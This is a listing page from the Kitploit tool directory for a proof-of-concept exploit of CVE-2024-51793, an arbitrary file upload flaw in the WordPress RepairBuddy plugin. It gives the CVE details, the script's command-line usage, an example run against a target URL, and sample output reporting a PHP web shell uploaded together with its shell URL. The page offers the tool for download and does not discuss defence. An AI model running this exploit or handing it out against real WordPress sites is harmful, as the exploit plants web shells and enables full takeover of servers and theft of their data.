Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/nxploited/cve-2024-51793
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubnxploited/cve-2024-51793

CVE-2024-51793

WordPress RepairBuddy plugin <= 3.8115 - Arbitrary File Upload vulnerability

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ WordPress RepairBuddy Plugin Exploit

📜 CVE Information

CVE-ID: CVE-2024-51793
Published: 2024-11-11
Updated: 2024-11-11
Title: WordPress RepairBuddy plugin <= 3.8115 - Arbitrary File Upload vulnerability
Description:
Unrestricted Upload of File with Dangerous Type vulnerability in Webful Creations Computer Repair Shop allows Upload a Web Shell to a Web Server. This issue affects Computer Repair Shop: from n/a through 3.8115.

CWE:

  • CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS:

  • Score: 10.0 (CRITICAL)
  • Version: 3.1
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

📋 Description

This is a proof of concept exploit for the Arbitrary File Upload vulnerability in the WordPress RepairBuddy plugin versions <= 3.8115. The exploit allows an attacker to upload a web shell to the vulnerable server.

⚙️ Requirements

  • Python 3.x
  • requests library (pip install requests)

🚀 Usage

root@kitploit:~
usage: 
CVE-2024-51793.py [-h] -u URL [-shell SHELL]

WordPress RepairBuddy plugin <= 3.8115 - Arbitrary File Upload vulnerability # By Nxploited ,Khaled alenazi.

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target URL
  -shell SHELL   Shell code to upload

📖 Example

root@kitploit:~
python 
CVE-2024-51793.py -u http://target.com/wordpress

📝 Output

root@kitploit:~
Exploit By : Nxploit Khaled Alenazi,

🎯 The site is vulnerable. Proceeding with the exploit...
Response: "<a href=\"http:\/\/target\/wordpress\/wp-content\/repairbuddy_uploads\/reciepts\/2025_03_23_22_43_50nxploit.php\" target=\"_blank\"><\/a><input type=\"hidden\" name=\"repairBuddAttachment_file[]\" value=\"http:\/\/target\/wordpress\/wp-content\/repairbuddy_uploads\/reciepts\/2025_03_23_22_43_50nxploit.php\" \/>"
✅ Shell uploaded successfully.
🔗 Shell URL: http://target/wordpress/wp-content/repairbuddy_uploads/reciepts/2025_03_23_22_43_50nxploit.php

👨‍💻 Author

Exploit By: Nxploited, Khaled Alenazi

Download Tool